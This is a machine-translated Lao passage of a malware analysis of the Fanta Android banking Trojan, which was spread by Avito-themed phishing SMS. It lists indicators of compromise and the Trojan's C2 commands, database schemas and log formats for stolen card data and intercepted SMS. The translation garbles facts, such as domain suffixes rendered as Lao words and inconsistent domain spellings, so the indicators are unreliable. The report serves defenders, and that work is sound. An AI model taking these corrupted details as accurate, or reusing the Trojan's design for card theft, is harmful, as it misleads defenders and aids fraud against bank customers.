Leisya, Fanta: ຍຸດທະວິທີໃໝ່ຂອງ Trojan Android ເກົ່າ

ມື້ຫນຶ່ງທ່ານຕ້ອງການຂາຍບາງສິ່ງບາງຢ່າງໃນ Avito ແລະ, ໂດຍໄດ້ສະແດງລາຍລະອຽດກ່ຽວກັບຜະລິດຕະພັນຂອງທ່ານ (ຕົວຢ່າງ, ໂມດູນ RAM), ທ່ານຈະໄດ້ຮັບຂໍ້ຄວາມນີ້:

ເມື່ອທ່ານເປີດການເຊື່ອມຕໍ່, ທ່ານຈະເຫັນຫນ້າທີ່ເບິ່ງຄືວ່າບໍ່ມີຕົວຕົນແຈ້ງໃຫ້ທ່ານ, ຜູ້ຂາຍທີ່ມີຄວາມສຸກແລະປະສົບຜົນສໍາເລັດ, ການຊື້ໄດ້ຖືກເຮັດ:

ເມື່ອທ່ານຄລິກໃສ່ປຸ່ມ “ສືບຕໍ່”, ໄຟລ໌ APK ທີ່ມີໄອຄອນ ແລະຊື່ທີ່ເປັນແຮງບັນດານໃຈຈະຖືກດາວໂຫຼດໃສ່ອຸປະກອນ Android ຂອງທ່ານ. ທ່ານໄດ້ຕິດຕັ້ງແອັບພລິເຄຊັນທີ່ຂໍສິດການຊ່ວຍເຂົ້າເຖິງດ້ວຍເຫດຜົນບາງຢ່າງ, ຈາກນັ້ນສອງສາມປ່ອງຢ້ຽມປະກົດຂຶ້ນ ແລະຫາຍໄປຢ່າງໄວວາ ແລະ... ນັ້ນເອງ.

ທ່ານໄປກວດເບິ່ງຍອດເງິນຂອງທ່ານ, ແຕ່ສໍາລັບບາງເຫດຜົນ app ທະນາຄານຂອງທ່ານຖາມສໍາລັບລາຍລະອຽດບັດຂອງທ່ານອີກເທື່ອຫນຶ່ງ. ຫຼັງຈາກປ້ອນຂໍ້ມູນ, ບາງສິ່ງບາງຢ່າງທີ່ຂີ້ຮ້າຍເກີດຂຶ້ນ: ສໍາລັບບາງເຫດຜົນຍັງບໍ່ຈະແຈ້ງສໍາລັບທ່ານ, ເງິນເລີ່ມຫາຍໄປຈາກບັນຊີຂອງທ່ານ. ທ່ານກໍາລັງພະຍາຍາມແກ້ໄຂບັນຫາ, ແຕ່ໂທລະສັບຂອງທ່ານຕໍ່ຕ້ານ: ມັນກົດປຸ່ມ "ກັບຄືນ" ແລະ "ຫນ້າທໍາອິດ", ບໍ່ປິດແລະບໍ່ອະນຸຍາດໃຫ້ທ່ານເພື່ອເປີດໃຊ້ມາດຕະການຄວາມປອດໄພໃດໆ. ດັ່ງນັ້ນ, ເຈົ້າຖືກປະໄວ້ໂດຍບໍ່ມີເງິນ, ສິນຄ້າຂອງເຈົ້າຍັງບໍ່ໄດ້ຊື້, ເຈົ້າສັບສົນແລະສົງໄສວ່າ: ເກີດຫຍັງຂຶ້ນ?

ຄໍາຕອບແມ່ນງ່າຍດາຍ: ທ່ານໄດ້ກາຍເປັນຜູ້ເຄາະຮ້າຍຂອງ Fanta Android Trojan, ສະມາຊິກຂອງຄອບຄົວ Flexnet. ອັນນີ້ເກີດຂຶ້ນໄດ້ແນວໃດ? ໃຫ້ອະທິບາຍໃນປັດຈຸບັນ.

ຜູ້ຂຽນ: Andrey Polovinkin, ຜູ້ຊ່ຽວຊານຊັ້ນສູງໃນການວິເຄາະ malware, Ivan Pisarev, ຜູ້ຊ່ຽວຊານໃນການວິເຄາະ malware.

ບາງສະຖິຕິ

ຄອບຄົວ Flexnet ຂອງ Android Trojans ເປັນທີ່ຮູ້ຈັກຄັ້ງທໍາອິດໃນປີ 2015. ໃນໄລຍະເວລາທີ່ຂ້ອນຂ້າງຍາວຂອງກິດຈະກໍາ, ຄອບຄົວໄດ້ຂະຫຍາຍອອກໄປຫຼາຍຊະນິດຍ່ອຍ: Fanta, Limebot, Lipton, ແລະອື່ນໆ. Trojan, ເຊັ່ນດຽວກັນກັບໂຄງສ້າງພື້ນຖານທີ່ກ່ຽວຂ້ອງກັບມັນ, ບໍ່ຢຸດຢັ້ງ: ໂຄງການການແຈກຢາຍທີ່ມີປະສິດທິພາບໃຫມ່ກໍາລັງຖືກພັດທະນາ - ໃນກໍລະນີຂອງພວກເຮົາ, ຫນ້າ phishing ທີ່ມີຄຸນນະພາບສູງເພື່ອແນໃສ່ຜູ້ຂາຍສະເພາະຜູ້ໃຊ້, ແລະນັກພັດທະນາ Trojan ປະຕິບັດຕາມແນວໂນ້ມຄົນອັບເດດ: ໃນ. ການຂຽນເຊື້ອໄວຣັສ - ເພີ່ມຫນ້າທີ່ໃຫມ່ທີ່ເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະລັກເງິນທີ່ມີປະສິດທິພາບຫຼາຍຂຶ້ນຈາກອຸປະກອນທີ່ຕິດເຊື້ອແລະ bypass ກົນໄກການປົກປ້ອງ.

ແຄມເປນທີ່ອະທິບາຍໄວ້ໃນບົດຄວາມນີ້ແມ່ນແນໃສ່ຜູ້ໃຊ້ຈາກລັດເຊຍ; ຈໍານວນອຸປະກອນທີ່ຕິດເຊື້ອໄດ້ຖືກບັນທຶກໄວ້ໃນຢູເຄລນ, ແລະແມ້ກະທັ້ງຫນ້ອຍລົງໃນ Kazakhstan ແລະ Belarus.

ເຖິງແມ່ນວ່າ Flexnet ໄດ້ຢູ່ໃນສະຫນາມກິລາ Android Trojan ສໍາລັບຫຼາຍກວ່າ 4 ປີໃນປັດຈຸບັນແລະໄດ້ຮັບການສຶກສາຢ່າງລະອຽດໂດຍນັກຄົ້ນຄວ້າຈໍານວນຫຼາຍ, ມັນຍັງຢູ່ໃນສະພາບທີ່ດີ. ນັບຕັ້ງແຕ່ເດືອນມັງກອນ 2019, ຈໍານວນຄວາມເສຍຫາຍທີ່ມີທ່າແຮງແມ່ນຫຼາຍກ່ວາ 35 ລ້ານຮູເບີນ - ແລະນີ້ແມ່ນສໍາລັບແຄມເປນໃນລັດເຊຍເທົ່ານັ້ນ. ໃນປີ 2015, ຮຸ່ນຕ່າງໆຂອງ Android Trojan ໄດ້ຖືກຂາຍຢູ່ໃນເວທີສົນທະນາໃຕ້ດິນ, ບ່ອນທີ່ລະຫັດແຫຼ່ງຂອງ Trojan ທີ່ມີຄໍາອະທິບາຍລາຍລະອຽດສາມາດພົບໄດ້. ນີ້ຫມາຍຄວາມວ່າສະຖິຕິຄວາມເສຍຫາຍໃນໂລກແມ່ນຫນ້າປະທັບໃຈຫຼາຍ. ບໍ່ແມ່ນຕົວຊີ້ບອກທີ່ບໍ່ດີສຳລັບຄົນເຖົ້າຄົນນັ້ນ, ບໍ່ແມ່ນບໍ?

ຈາກການຂາຍໄປສູ່ການຫຼອກລວງ

ດັ່ງທີ່ເຫັນໄດ້ຈາກພາບຫນ້າຈໍທີ່ນໍາສະເຫນີກ່ອນຫນ້ານີ້ຂອງຫນ້າ phishing ສໍາລັບການບໍລິການອິນເຕີເນັດສໍາລັບການປະກາດການໂຄສະນາ Avito, ມັນໄດ້ຖືກກະກຽມສໍາລັບຜູ້ຖືກເຄາະຮ້າຍສະເພາະ. ປາກົດຂື້ນ, ຜູ້ໂຈມຕີໃຊ້ຫນຶ່ງໃນຕົວວິເຄາະຂອງ Avito, ເຊິ່ງສະກັດເອົາເບີໂທລະສັບແລະຊື່ຂອງຜູ້ຂາຍ, ເຊັ່ນດຽວກັນກັບລາຍລະອຽດຂອງຜະລິດຕະພັນ. ຫຼັງຈາກການຂະຫຍາຍຫນ້າແລະການກະກຽມໄຟລ໌ APK, ຜູ້ຖືກເຄາະຮ້າຍຈະຖືກສົ່ງ SMS ທີ່ມີຊື່ຂອງລາວແລະການເຊື່ອມຕໍ່ໄປຫາຫນ້າ phishing ທີ່ມີຄໍາອະທິບາຍກ່ຽວກັບຜະລິດຕະພັນຂອງລາວແລະຈໍານວນທີ່ໄດ້ຮັບຈາກ "ການຂາຍ" ຂອງຜະລິດຕະພັນ. ໂດຍການຄລິກໃສ່ປຸ່ມ, ຜູ້ໃຊ້ໄດ້ຮັບໄຟລ໌ APK ທີ່ເປັນອັນຕະລາຍ - Fanta.

ການສຶກສາຂອງໂດເມນ shcet491[.]ru ສະແດງໃຫ້ເຫັນວ່າມັນຖືກມອບຫມາຍໃຫ້ເຄື່ອງແມ່ຂ່າຍ DNS ຂອງ Hostinger:

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

ໄຟລ໌ເຂດໂດເມນປະກອບມີລາຍການທີ່ຊີ້ໄປຫາທີ່ຢູ່ IP 31.220.23[.]236, 31.220.23[.]243, ແລະ 31.220.23[.]235. ແນວໃດກໍ່ຕາມ, ບັນທຶກຊັບພະຍາກອນຫຼັກຂອງໂດເມນ (A record) ຊີ້ໄປຫາເຊີບເວີທີ່ມີທີ່ຢູ່ IP 178.132.1[.]240.

ທີ່ຢູ່ IP 178.132.1[.]240 ແມ່ນຢູ່ໃນປະເທດເນເທີແລນ ແລະເປັນຂອງເຈົ້າພາບ WorldStream. ທີ່ຢູ່ IP 31.220.23[.]235, 31.220.23[.]236 ແລະ 31.220.23[.]243 ແມ່ນຕັ້ງຢູ່ໃນປະເທດອັງກິດ ແລະເປັນຂອງໂຮດຕິ້ງເຊີບເວີທີ່ແບ່ງປັນ HOSTINGER. ໃຊ້ເປັນເຄື່ອງບັນທຶກສຽງ openprov-ru. ໂດເມນຕໍ່ໄປນີ້ຍັງແກ້ໄຂຕໍ່ກັບທີ່ຢູ່ IP 178.132.1[.]240:

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

ມັນຄວນຈະສັງເກດວ່າການເຊື່ອມຕໍ່ໃນຮູບແບບຕໍ່ໄປນີ້ແມ່ນມີຢູ່ໃນເກືອບທັງຫມົດໂດເມນ:

http://(www.){0,1}<%domain%>/[0-9]{7}

ແມ່ແບບນີ້ຍັງປະກອບມີການເຊື່ອມຕໍ່ຈາກຂໍ້ຄວາມ SMS. ອີງຕາມຂໍ້ມູນປະຫວັດສາດ, ມັນໄດ້ພົບເຫັນວ່າໂດເມນຫນຶ່ງກົງກັນກັບການເຊື່ອມໂຍງຫຼາຍໆຢ່າງໃນຮູບແບບທີ່ໄດ້ອະທິບາຍຂ້າງເທິງ, ເຊິ່ງຊີ້ໃຫ້ເຫັນວ່າໂດເມນຫນຶ່ງຖືກນໍາໃຊ້ເພື່ອແຈກຢາຍ Trojan ໃຫ້ກັບຜູ້ຖືກເຄາະຮ້າຍຈໍານວນຫນຶ່ງ.

ໃຫ້ຂ້າມໄປກ່ອນເລັກນ້ອຍ: Trojan ດາວໂຫຼດຜ່ານລິ້ງຈາກ SMS ໃຊ້ທີ່ຢູ່ onusedseddohap[.]ສະໂມສອນ. ໂດເມນນີ້ຖືກລົງທະບຽນໃນວັນທີ 2019-03-12, ແລະເລີ່ມແຕ່ 2019-04-29, ແອັບພລິເຄຊັນ APK ໂຕ້ຕອບກັບໂດເມນນີ້. ອີງຕາມຂໍ້ມູນທີ່ໄດ້ຮັບຈາກ VirusTotal, ມີ 109 ແອັບພລິເຄຊັນທີ່ພົວພັນກັບເຊີບເວີນີ້. ໂດເມນເອງໄດ້ແກ້ໄຂກັບທີ່ຢູ່ IP 217.23.14[.]27, ຕັ້ງຢູ່ໃນເນເທີແລນແລະເປັນເຈົ້າຂອງໂດຍເຈົ້າພາບ WorldStream. ໃຊ້ເປັນເຄື່ອງບັນທຶກສຽງ ຊື່ລາຄາ. ໂດເມນຍັງແກ້ໄຂຕໍ່ກັບທີ່ຢູ່ IP ນີ້ bad-racoon[.]ສະໂມສອນ (ເລີ່ມແຕ່ວັນທີ 2018-09-25) ແລະ bad-racoon[.] ດໍາລົງຊີວິດ (ເລີ່ມແຕ່ວັນທີ 2018-10 25). ກັບໂດເມນ bad-racoon[.]ສະໂມສອນ ຫຼາຍກວ່າ 80 ໄຟລ໌ APK ໂຕ້ຕອບກັບ bad-racoon[.] ດໍາລົງຊີວິດ - ຫຼາຍ​ກ​່​ວາ 100​.

ໂດຍ​ທົ່ວ​ໄປ​, ການ​ໂຈມ​ຕີ​ຄື​ດັ່ງ​ຕໍ່​ໄປ​ນີ້​:

ແມ່ນຫຍັງພາຍໃຕ້ຝາຂອງ Fanta?

ເຊັ່ນດຽວກັນກັບ Trojan Android ອື່ນໆຈໍານວນຫຼາຍ, Fanta ສາມາດອ່ານແລະສົ່ງຂໍ້ຄວາມ SMS, ເຮັດໃຫ້ການຮ້ອງຂໍ USSD, ແລະສະແດງປ່ອງຢ້ຽມຂອງຕົນເອງຢູ່ເທິງສຸດຂອງແອັບພລິເຄຊັນ (ລວມທັງທະນາຄານ). ຢ່າງໃດກໍຕາມ, ສານຫນູຂອງການທໍາງານຂອງຄອບຄົວນີ້ໄດ້ມາຮອດ: Fanta ເລີ່ມນໍາໃຊ້ ບໍລິການຊ່ວຍເຂົ້າເຖິງ ສໍາ​ລັບ​ຈຸດ​ປະ​ສົງ​ຕ່າງໆ​: ການ​ອ່ານ​ເນື້ອ​ໃນ​ຂອງ​ການ​ແຈ້ງ​ການ​ຈາກ​ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ອື່ນໆ​, ປ້ອງ​ກັນ​ການ​ກວດ​ພົບ​ແລະ​ການ​ຢຸດ​ເຊົາ​ການ​ປະ​ຕິ​ບັດ​ຂອງ Trojan ໃນ​ອຸ​ປະ​ກອນ​ທີ່​ຕິດ​ເຊື້ອ​, ແລະ​ອື່ນໆ​. Fanta ໃຊ້ໄດ້ກັບທຸກລຸ້ນຂອງ Android ບໍ່ຕ່ຳກວ່າ 4.4. ໃນບົດຂຽນນີ້, ພວກເຮົາຈະພິຈາລະນາເບິ່ງຕົວຢ່າງຂອງ Fanta ຕໍ່ໄປນີ້:

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

ທັນທີຫຼັງຈາກການເປີດຕົວ

ທັນທີຫຼັງຈາກການເປີດຕົວ, Trojan ເຊື່ອງໄອຄອນຂອງມັນ. ແອັບພລິເຄຊັນສາມາດເຮັດວຽກໄດ້ພຽງແຕ່ຖ້າຊື່ຂອງອຸປະກອນທີ່ຕິດເຊື້ອບໍ່ໄດ້ຢູ່ໃນລາຍຊື່:

• android_x86
• VirtualBox
• Nexus 5X(bullhead)
• Nexus 5 (ມີດໂກນ)

ການກວດສອບນີ້ແມ່ນດໍາເນີນຢູ່ໃນການບໍລິການຕົ້ນຕໍຂອງ Trojan - ການບໍລິການຫຼັກ. ເມື່ອເປີດຕົວຄັ້ງທໍາອິດ, ພາລາມິເຕີການຕັ້ງຄ່າຂອງແອັບພລິເຄຊັນຖືກເລີ່ມຕົ້ນເປັນຄ່າເລີ່ມຕົ້ນ (ຮູບແບບສໍາລັບການເກັບຮັກສາຂໍ້ມູນການຕັ້ງຄ່າແລະຄວາມ ໝາຍ ຂອງພວກມັນຈະຖືກສົນທະນາຕໍ່ມາ), ແລະອຸປະກອນທີ່ຕິດເຊື້ອໃຫມ່ຖືກລົງທະບຽນຢູ່ໃນເຄື່ອງແມ່ຂ່າຍຄວບຄຸມ. ຄໍາຮ້ອງຂໍ HTTP POST ທີ່ມີປະເພດຂໍ້ຄວາມຈະຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍ register_bot ແລະຂໍ້ມູນກ່ຽວກັບອຸປະກອນທີ່ຕິດເຊື້ອ (ສະບັບ Android, IMEI, ເບີໂທລະສັບ, ຊື່ຜູ້ປະກອບການແລະລະຫັດປະເທດທີ່ຜູ້ປະກອບການລົງທະບຽນ). ທີ່ຢູ່ເຮັດຫນ້າທີ່ເປັນເຄື່ອງແມ່ຂ່າຍຄວບຄຸມ hXXp://onuseseddohap[.]club/controller.php. ໃນການຕອບສະໜອງ, ເຊີບເວີສົ່ງຂໍ້ຄວາມທີ່ມີຊ່ອງຂໍ້ມູນ bot_id, bot_pwd, ເຄື່ອງແມ່ຂ່າຍ — ແອັບພລິເຄຊັນບັນທຶກຄ່າເຫຼົ່ານີ້ເປັນພາລາມິເຕີຂອງເຊີບເວີ CnC. ພາລາມິເຕີ ເຄື່ອງແມ່ຂ່າຍ ທາງເລືອກຖ້າພາກສະຫນາມບໍ່ໄດ້ຮັບ: Fanta ໃຊ້ທີ່ຢູ່ລົງທະບຽນ - hXXp://onuseseddohap[.]club/controller.php. ຫນ້າທີ່ຂອງການປ່ຽນແປງທີ່ຢູ່ CnC ສາມາດຖືກນໍາໃຊ້ເພື່ອແກ້ໄຂບັນຫາສອງຢ່າງ: ເພື່ອແຈກຢາຍການໂຫຼດເທົ່າທຽມກັນລະຫວ່າງເຄື່ອງແມ່ຂ່າຍຫຼາຍໆຄັ້ງ (ຖ້າມີຈໍານວນອຸປະກອນທີ່ຕິດເຊື້ອຫຼາຍ, ການໂຫຼດຢູ່ໃນເຄື່ອງແມ່ຂ່າຍເວັບທີ່ບໍ່ໄດ້ຮັບການປັບປຸງສາມາດສູງ), ແລະຍັງໃຊ້ໄດ້. ເຊີບເວີທາງເລືອກໃນກໍລະນີຂອງຄວາມລົ້ມເຫຼວຂອງຫນຶ່ງໃນເຄື່ອງແມ່ຂ່າຍ CnC .

ຖ້າມີຂໍ້ຜິດພາດເກີດຂຶ້ນໃນຂະນະທີ່ສົ່ງຄໍາຮ້ອງຂໍ, Trojan ຈະເຮັດຊ້ໍາຂັ້ນຕອນການລົງທະບຽນຫຼັງຈາກ 20 ວິນາທີ.

ເມື່ອອຸປະກອນໄດ້ຮັບການລົງທະບຽນສົບຜົນສໍາເລັດ, Fanta ຈະສະແດງຂໍ້ຄວາມຕໍ່ໄປນີ້ກັບຜູ້ໃຊ້:

ຫມາຍເຫດທີ່ສໍາຄັນ: ການບໍລິການເອີ້ນວ່າ ລະບົບຄວາມປອດໄພ — ຊື່​ຂອງ​ການ​ບໍ​ລິ​ການ Trojan​, ແລະ​ຫຼັງ​ຈາກ​ທີ່​ຄລິກ​ໃສ່​ປຸ່ມ​ OK ປ່ອງ​ຢ້ຽມ​ຈະ​ເປີດ​ຂຶ້ນ​ໂດຍ​ການ​ຕັ້ງ​ຄ່າ​ການ​ເຂົ້າ​ເຖິງ​ຂອງ​ອຸ​ປະ​ກອນ​ທີ່​ຕິດ​ເຊື້ອ​, ບ່ອນ​ທີ່​ຜູ້​ໃຊ້​ຕ້ອງ​ໄດ້​ໃຫ້​ສິດ​ການ​ເຂົ້າ​ເຖິງ​ສໍາ​ລັບ​ການ​ບໍ​ລິ​ການ​ທີ່​ຮ້າຍ​ແຮງ​:

ທັນທີທີ່ຜູ້ໃຊ້ເປີດ ບໍລິການຊ່ວຍເຂົ້າເຖິງ, Fanta ໄດ້ຮັບການເຂົ້າເຖິງເນື້ອໃນຂອງປ່ອງຢ້ຽມຄໍາຮ້ອງສະຫມັກແລະການດໍາເນີນການປະຕິບັດໃນໃຫ້ເຂົາເຈົ້າ:

ທັນທີຫຼັງຈາກໄດ້ຮັບສິດການເຂົ້າເຖິງ, Trojan ຮ້ອງຂໍສິດຂອງຜູ້ເບິ່ງແຍງລະບົບ ແລະສິດທິໃນການອ່ານການແຈ້ງເຕືອນ:

ການນໍາໃຊ້ການບໍລິການການເຂົ້າເຖິງ, ແອັບພລິເຄຊັນຈະຈໍາລອງການກົດແປ້ນພິມ, ດ້ວຍວິທີນີ້ໃຫ້ຕົວເອງມີສິດທີ່ຈໍາເປັນທັງຫມົດ.

Fanta ສ້າງຕົວຢ່າງຖານຂໍ້ມູນຫຼາຍ (ເຊິ່ງຈະຖືກອະທິບາຍໃນພາຍຫລັງ) ທີ່ຈໍາເປັນເພື່ອເກັບຂໍ້ມູນການຕັ້ງຄ່າ, ເຊັ່ນດຽວກັນກັບຂໍ້ມູນທີ່ເກັບກໍາໃນຂະບວນການກ່ຽວກັບອຸປະກອນທີ່ຕິດເຊື້ອ. ເພື່ອສົ່ງຂໍ້ມູນທີ່ເກັບກໍາ, Trojan ສ້າງວຽກງານຊ້ໍາຊ້ອນທີ່ຖືກອອກແບບມາເພື່ອດາວໂຫລດຊ່ອງຂໍ້ມູນຈາກຖານຂໍ້ມູນແລະໄດ້ຮັບຄໍາສັ່ງຈາກເຄື່ອງແມ່ຂ່າຍຄວບຄຸມ. ໄລຍະຫ່າງສໍາລັບການເຂົ້າເຖິງ CnC ຖືກກໍານົດຂຶ້ນກັບສະບັບ Android: ໃນກໍລະນີຂອງ 5.1, ໄລຍະຫ່າງຈະເປັນ 10 ວິນາທີ, ຖ້າບໍ່ດັ່ງນັ້ນ 60 ວິນາທີ.

ເພື່ອໃຫ້ໄດ້ຮັບຄໍາສັ່ງ, Fanta ເຮັດຄໍາຮ້ອງຂໍ GetTask ກັບເຄື່ອງແມ່ຂ່າຍການຈັດການ. ໃນການຕອບສະຫນອງ, CnC ສາມາດສົ່ງຫນຶ່ງໃນຄໍາສັ່ງຕໍ່ໄປນີ້:

ທີມງານ	ລາຍ​ລະ​ອຽດ
0	ສົ່ງຂໍ້ຄວາມ SMS
1	ໂທອອກ ຫຼືຄຳສັ່ງ USSD
2	ອັບເດດພາຣາມິເຕີ ໄລຍະຫ່າງ
3	ອັບເດດພາຣາມິເຕີ intercept
6	ອັບເດດພາຣາມິເຕີ smsManager
9	ເລີ່ມ​ການ​ເກັບ​ກໍາ​ຂໍ້​ຄວາມ SMS​
11	ຣີເຊັດໂທລະສັບຂອງທ່ານເປັນການຕັ້ງຄ່າໂຮງງານ
12	ເປີດ/ປິດການບັນທຶກການສ້າງກ່ອງໂຕ້ຕອບ

Fanta ຍັງ​ເກັບ​ກໍາ​ຂໍ້​ມູນ​ຈາກ 70 ກິດ​ການ​ທະ​ນາ​ຄານ​, ລະ​ບົບ​ການ​ຊໍາ​ລະ​ເງິນ​ໄວ​ແລະ e​-wallets ແລະ​ເກັບ​ຮັກ​ສາ​ໄວ້​ໃນ​ຖານ​ຂໍ້​ມູນ​.

ການເກັບຮັກສາພາລາມິເຕີການຕັ້ງຄ່າ

ເພື່ອເກັບຮັກສາພາລາມິເຕີການຕັ້ງຄ່າ, Fanta ໃຊ້ວິທີການມາດຕະຖານສໍາລັບເວທີ Android - ຕາມທີ່ໃຈມັກ- ໄຟລ​໌​. ການຕັ້ງຄ່າຈະຖືກບັນທຶກໄວ້ໃນໄຟລ໌ທີ່ມີຊື່ ການຕັ້ງຄ່າ. ລາຍລະອຽດຂອງພາລາມິເຕີທີ່ບັນທຶກໄວ້ແມ່ນຢູ່ໃນຕາຕະລາງຂ້າງລຸ່ມນີ້.

ຊື່	ຄ່າເລີ່ມຕົ້ນ	ຄ່າທີ່ເປັນໄປໄດ້	ລາຍ​ລະ​ອຽດ
id	0	Integer	ບັອດ ID
ເຄື່ອງແມ່ຂ່າຍ	hXXp://onuseseddohap[.]club/	URL	ຄວບຄຸມທີ່ຢູ່ເຊີບເວີ
ນອນd	-	string	ລະຫັດຜ່ານເຊີບເວີ
ໄລຍະຫ່າງ	20	Integer	ຊ່ວງເວລາ. ຊີ້ບອກວ່າໜ້າວຽກຕໍ່ໄປນີ້ຄວນເລື່ອນເວລາດົນປານໃດ: ໃນ​ເວ​ລາ​ທີ່​ການ​ສົ່ງ​ຄໍາ​ຮ້ອງ​ຂໍ​ກ່ຽວ​ກັບ​ສະ​ຖາ​ນະ​ພາບ​ຂອງ​ຂໍ້​ຄວາມ SMS ທີ່​ສົ່ງ​ໄປ​ ໄດ້ຮັບຄໍາສັ່ງໃຫມ່ຈາກເຄື່ອງແມ່ຂ່າຍການຈັດການ
intercept	ທັງຫມົດ	all/telNumber	ຖ້າຊ່ອງຂໍ້ມູນເທົ່າກັບສະຕຣິງ ທັງຫມົດ ຫຼື ເບີໂທ, ຫຼັງຈາກນັ້ນຂໍ້ຄວາມ SMS ທີ່ໄດ້ຮັບຈະຖືກຂັດຂວາງໂດຍແອັບພລິເຄຊັນແລະບໍ່ສະແດງໃຫ້ຜູ້ໃຊ້ເຫັນ
smsManager	0	0/1	ເປີດໃຊ້/ປິດການນຳໃຊ້ແອັບພລິເຄຊັ່ນໃນຖານະຜູ້ຮັບ SMS ເລີ່ມຕົ້ນ
ອ່ານກ່ອງໂຕ້ຕອບ	ທີ່ບໍ່ຖືກຕ້ອງ	ຖືກ/ຜິດ	ເປີດ/ປິດການບັນທຶກເຫດການ AccessibilityEvent

Fanta ຍັງໃຊ້ໄຟລ໌ smsManager:

ຊື່	ຄ່າເລີ່ມຕົ້ນ	ຄ່າທີ່ເປັນໄປໄດ້	ລາຍ​ລະ​ອຽດ
pckg	-	string	ຊື່ຂອງຕົວຈັດການຂໍ້ຄວາມ SMS ຖືກໃຊ້

ການໂຕ້ຕອບກັບຖານຂໍ້ມູນ

ໃນລະຫວ່າງການປະຕິບັດງານຂອງມັນ, Trojan ໃຊ້ສອງຖານຂໍ້ມູນ. ຖານຂໍ້ມູນຊື່ a ໃຊ້ເພື່ອເກັບຂໍ້ມູນຕ່າງໆ ທີ່ເກັບມາຈາກໂທລະສັບ. ຖານຂໍ້ມູນທີສອງມີຊື່ fanta.db ແລະຖືກນໍາໃຊ້ເພື່ອບັນທຶກການຕັ້ງຄ່າທີ່ຮັບຜິດຊອບໃນການສ້າງປ່ອງຢ້ຽມ phishing ທີ່ຖືກອອກແບບມາເພື່ອເກັບກໍາຂໍ້ມູນກ່ຽວກັບບັດທະນາຄານ.

Trojan ໃຊ້ຖານຂໍ້ມູນ а ເພື່ອເກັບຮັກສາຂໍ້ມູນທີ່ເກັບກໍາແລະບັນທຶກການກະທໍາຂອງທ່ານ. ຂໍ້ມູນຖືກເກັບໄວ້ໃນຕາຕະລາງ ຂໍ້ມູນບັນທຶກ. ເພື່ອສ້າງຕາຕະລາງ, ໃຊ້ SQL query ຕໍ່ໄປນີ້:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

ຖານຂໍ້ມູນມີຂໍ້ມູນຕໍ່ໄປນີ້:

1. ບັນທຶກການເລີ່ມຕົ້ນຂອງອຸປະກອນທີ່ຕິດເຊື້ອດ້ວຍຂໍ້ຄວາມ ໂທລະສັບເປີດ!

2. ການແຈ້ງເຕືອນຈາກແອັບພລິເຄຊັນ. ຂໍ້ຄວາມຖືກສ້າງຂື້ນຕາມແມ່ແບບຕໍ່ໄປນີ້:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ຂໍ້ມູນບັດທະນາຄານຈາກຮູບແບບ phishing ທີ່ສ້າງຂຶ້ນໂດຍ Trojan. ພາລາມິເຕີ VIEW_NAME ອາດຈະເປັນຫນຶ່ງໃນດັ່ງຕໍ່ໄປນີ້:

• AliExpress
• Avito
• ກູໂກຫຼິ້ນ
• ອື່ນ <%App Name%>

ຂໍ້ຄວາມຖືກບັນທຶກໃນຮູບແບບ:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. ຂໍ້ຄວາມ SMS ຂາເຂົ້າ/ຂາອອກໃນຮູບແບບ:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. ຂໍ້ມູນກ່ຽວກັບຊຸດທີ່ສ້າງກ່ອງໂຕ້ຕອບໃນຮູບແບບ:

(<%Package name%>)<%Package information%>

ຕາຕະລາງຕົວຢ່າງ ຂໍ້ມູນບັນທຶກ:

ຫນຶ່ງໃນຫນ້າທີ່ຂອງ Fanta ແມ່ນການລວບລວມຂໍ້ມູນກ່ຽວກັບບັດທະນາຄານ. ການເກັບຂໍ້ມູນເກີດຂຶ້ນໂດຍຜ່ານການສ້າງປ່ອງຢ້ຽມ phishing ໃນເວລາທີ່ເປີດຄໍາຮ້ອງສະຫມັກທະນາຄານ. Trojan ສ້າງປ່ອງຢ້ຽມ phishing ພຽງແຕ່ຄັ້ງດຽວ. ຂໍ້​ມູນ​ທີ່​ປ່ອງ​ຢ້ຽມ​ໄດ້​ສະ​ແດງ​ໃຫ້​ເຫັນ​ກັບ​ຜູ້​ໃຊ້​ໄດ້​ຖືກ​ເກັບ​ຮັກ​ສາ​ໄວ້​ໃນ​ຕາ​ຕະ​ລາງ​ ການຕັ້ງຄ່າ ໃນຖານຂໍ້ມູນ fanta.db. ເພື່ອສ້າງຖານຂໍ້ມູນ, ໃຫ້ໃຊ້ SQL query ຕໍ່ໄປນີ້:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

ຊ່ອງຕາຕະລາງທັງຫມົດ ການຕັ້ງຄ່າ ໂດຍຄ່າເລີ່ມຕົ້ນເລີ່ມຕົ້ນເປັນ 1 (ສ້າງປ່ອງຢ້ຽມ phishing). ຫຼັງຈາກຜູ້ໃຊ້ປ້ອນຂໍ້ມູນຂອງເຂົາເຈົ້າ, ຄ່າຈະຖືກຕັ້ງເປັນ 0. ຕົວຢ່າງຂອງຊ່ອງຂໍ້ມູນຕາຕະລາງ ການຕັ້ງຄ່າ:

• can_login — ພາກ ສະ ຫນາມ ແມ່ນ ຮັບ ຜິດ ຊອບ ສໍາ ລັບ ການ ສະ ແດງ ຮູບ ແບບ ໃນ ເວ ລາ ທີ່ ເປີດ ຄໍາ ຮ້ອງ ສະ ຫມັກ ທະ ນາ ຄານ
• first_bank - ບໍ່​ໄດ້​ນໍາ​ໃຊ້
